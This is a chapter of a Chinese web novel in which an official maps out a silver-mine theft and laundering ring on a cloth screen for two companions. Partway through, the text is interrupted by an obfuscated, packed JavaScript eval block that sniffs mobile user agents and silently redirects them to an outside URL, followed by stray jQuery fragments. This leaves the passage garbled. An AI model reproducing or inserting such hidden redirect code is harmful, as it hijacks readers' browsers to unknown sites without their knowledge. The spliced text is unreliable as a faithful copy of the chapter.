58. 还原
作品:《画事拂尘》 冼牧川与韩穗一前一后步入馆舍时,方湛正接过斐然递上来的热巾擦手。
绛红色官袍袖口叠堆往后,刚好露出他的白皙手臂,臂上背筋微凸延至手背,不经意间流露出的力量感,就算隔着丈远距离,都叫见此一幕的韩穗莫名咽了咽口水。
他已除掉官帽,网巾束起碎发,下面便是一张秀挺如玉的脸。
她似乎是重逢后第一次这样清晰冷静地看他,忽觉他与记忆里的样子相比并无太多变化,只是轮廓硬朗了许多。不知是因为经历了什么,抑或单纯出于上位者的威严,其神情举止中的成熟冷冽,不自觉给人一种距离之感。
同行的冼牧川早已阔步上前:“明渊兄,你猜我们在古宝阁发现了什么!”
方湛闻声转面看过来,自然也快速扫了眼跟在后面的韩穗,后者立即心虚垂下暗中观察的视线,只假装在留心脚下门槛。
昌乐与一名差役将两只箱子搬入堂内,摆在方桌上。冼牧川则献宝似地将箱盖全部打开,把将才在古宝阁的经历添油加醋、眉飞色舞地讲述了一遍。
说到激动之处,他回身一把将韩穗拉上前,对方湛道:“虽说本人敏锐的洞察力不可或缺,但若不是韩姑娘的关键一举,我再耗上三日也找不到那奸商藏匿账册之处,这次韩姑娘可是为我们查案帮了大忙!”
方湛对此充耳不闻,视线却钉在冼牧川握韩穗胳膊的那只手上,直到那胳膊的主人略一偏挪,避开与人的接触,他才收回目光,去看箱内的账本。
“你确定这是刘百盛的真账册?”他淡淡一问。
“你还信不过我?别的本公子可能不如你,但看账可是一绝,打眼一瞧的事儿。”冼牧川胸有成竹。
此话听起来自夸自大,但也不全是瞎话。方湛对他知根知底,自然知道满门武将的冼家出了一个“账房先生”可是文英候平生最大心病。
“那就给你一个半日的时间,将刘百盛名下所有铺产核清。”方湛不咸不淡道。
“好说好说。”冼牧川嘴上应着,心里却想着韩穗此行最关切的事。
“这个不急,”他将箱盖一合,“今日我去郭掌柜家问话,正好遇到韩姑娘,她与郭家相熟,亲历过古宝阁旧案,所以趁她在这儿,你想知道什么问便是。”
不等方湛发话,他已吩咐斐然去看茶,径自招呼韩穗落座,顺便暗暗冲她挑眉使了个眼色。
他这是给她制造机会,好打探方湛突然过问古宝阁旧案的真实目的。
韩穗当然立即会意,还没完全坐下就倏地起身,朝方湛郑重行礼:“得知大人在查古宝阁旧日官司,因民女尽知此事全貌,不敢耽搁,特来向大人禀告。”
方湛静静看了她片刻,那一番口口声声的“大人”与“民女”,似乎在提示着她自重逢后对二人之间泾渭分明的刻意维持。
恍然间,昨天在日落前她说的那些话、索要香囊时期待“桥归桥路归路”的神情,一幕幕,似带着无数细小尖刺扎在心头。
他很是不悦,并任由这情绪演绎下去。
于是他将那个女人晾在一边,转头对冼牧川道:“今日张金龙总算吐口,又交待了许多事情,眼下线索杂乱,需尽快梳理清楚,至于古宝阁那桩旧案,不是关键,可押后再说。”
冼牧川见他板着脸,一点儿面子都不给恩人,心里不禁纳闷怎么了,但嘴上还得赶紧打圆场道:“也好也好,不过俗话说,三个臭皮匠顶个诸葛亮,经西山一行,韩姑娘已经不是外人了,再者她有洞幽烛远之能,不如我二人帮你一起梳理案情!”
此时斐然恰好端茶上来,闻言道:“这个建议好,冼少监精于银钱账目,韩姑娘熟悉云州人事,有二位帮忙,总好过公子一人闷头独想。”
方湛扫了眼韩穗正用晶亮双瞳注视自己的样子,转身走向次间,撂下简短一句:“过来吧。”
馆舍西次间是方湛来到云州后临时处理公事之处。斐然已将一张绷在立架上的屏布置于桌案前,又搬来三只太师椅,请韩穗等落座。
方湛却依旧站着,提笔蘸墨,在屏布当中写下“银矿”二字,又以此为中心,绕周依次写下田青、刘百盛、张金龙三人的姓名。
“矿监田青利欲熏心、胆大妄为,欲利用职权之便从皇家银矿中分羹。”他在田青与银矿之间连一道线,“可与他一同监矿者还有圣上的禁卫军,为躲开对方视线,他冒险来了一招‘灯下黑’,圈禁人手在矿区内秘密开挖私矿、炼银铸银。”
接着,他将田青与刘百盛相连,说道:“为方便在云州行事,田青豢养以刘百盛为首的爪牙数人,骗拐壮劳力为其采矿。”
“与此同时,”又一道线从田青划至张金龙,“他安排死士张金龙来云州开设镖局,任务就是从银矿运走赃银。”
“可是赃银数量巨大,他贸然带去上京花销难免引起怀疑,于是授意刘百盛在云州开了利昌赌坊和诸多商铺,”说着,方湛在刘百盛的名字下引出一条短线,写上“赌坊”二字,“赌坊进出流水向来可观,易做手脚,是洗清赃银出处的最好工具。”
最后,他将张金龙与刘百盛连线:“张金龙将赃银交给刘百盛经商,盈利所得或购货物或以现银方式再交给张金龙,装作正常商户走镖,运往上京和田青的老家定州。”
“原来如此,”冼牧川看着屏布上的清晰图示,不禁感叹,“好大一盘棋啊,咱们这位小田公公还真是个人才!”
就在他由衷佩服对手之时,方湛又在屏布一侧写下了“叶阳县”三个字,叫他着实不解:“这跟叶阳县又有何关系?”
韩穗顺口解释道:“银矿位于西山东侧的叶灵峰,不远处就是由几个村落构成的叶阳县,黄知府不想与内官周旋,图省事便将叶阳县县令于江推出去顶缸,包括矿役征采、役工意外身亡后的抚恤等事,都是叶阳县县衙与矿监交涉。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615600|158856||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这厢说着,方湛已在叶阳县旁边画出两条短线,分别对应“于”、“尤”两个小字,代表县令于江和胥吏尤谨。
“于江和尤谨作为本地官员,本应守护一方百姓,却趋炎附势、为虎作伥,为田青一己之私提供便利,其中就包括借榆水坡附近的坟地制造闹鬼假象,好从禁军手中接过此地哨卡,为张金龙偷运赃银留出豁口。”
韩穗听后不觉皱眉。早先听说叶阳县县衙借矿役矿税鱼肉乡里、搜刮民脂,没想到他们居然还参与了偷皇银的经过!再联想那场烧死于江的大火,真是应了那句“多行不义必自毙”。
至此,方湛搁笔总结:“这大概就是田青在云州偷银洗银的全链条了。”
“不错啊,”冼牧川对着屏布抱臂琢磨起来,“如此一画清晰明了,这个法子好,不若回京面圣时带上此物,形式新颖、一目了然,必能在圣上面前把那些只知跪地呈折子的老家伙比下去!”
“少监大人想这些未免太早了,”方湛又拾起一只蘸了朱砂的细毫,“云州的事大案套小案,可没有看上去那么简单。”
他在“银矿”旁写上殷红的“矿难”二字,沉肃了语气:“事情的改变,就是从这一场矿难开始。”
“两年前,京中屡有官员上疏陈情,要求取消矿税裁撤矿监。这一次,圣上未像往年那般以雷霆之怒驳斥,而是留下相关奏帖,沉思月余后,居然破天荒地褒奖提策之人。如此转变,必然引起田青惊慌。”
听到这儿,韩穗第一个想到自己的哥哥韩程。他当年正是冒死面谏圣上之人,就当全家以为要因他遭祸时,圣上却擢升其官职,此后更是受到首辅大人赏识提携。
正分着神,又听方湛继续道:“田青应是提前得知圣上派人去各地查矿的消息后,害怕云州银矿的秘密被发现,于是伪造了一场矿难,意欲炸死为他开采私矿的所有劳工。可他没想到,炸药威力过大,连带震塌了周围几个矿洞,导致数十矿役惨死。随后一道圣旨,西山银矿关停,田青也被召回上京问罪。”
然而田青有个好干爹许采忠。许大当乃与圣上相伴长大,且在一场宫中火灾中立下救驾之功,圣上看在他的情面上,只给田青定了个渎职罪,并未有追加致命惩罚。
但能稳坐龙椅之人岂是好糊弄的,当今圣上实则对田青早有怀疑,而半月前一本揭发后者在云州、定州坐拥庞大田产的密奏,直接让他下定了彻查西山银矿的决心。
“矿难过后,圣上命内廷拨银抚恤死者家人,此一环节又出了问题。”方湛在“叶阳县”上方写下赵大、赵二兄弟俩的名字,“赵大便是矿难遇害者之一,他的寡妻不知从何听说上京已拨发抚恤银两,并未见到这笔钱的她直接去质问县衙,反遭驱赶。随后她又不知听信谁的话,认定是刘百盛冒领了此钱,因此与刘老太当街缠斗。”
“赵大寡妻因挨了刘家毒打而吐血死亡,赵二由此开始状告刘百盛之路。”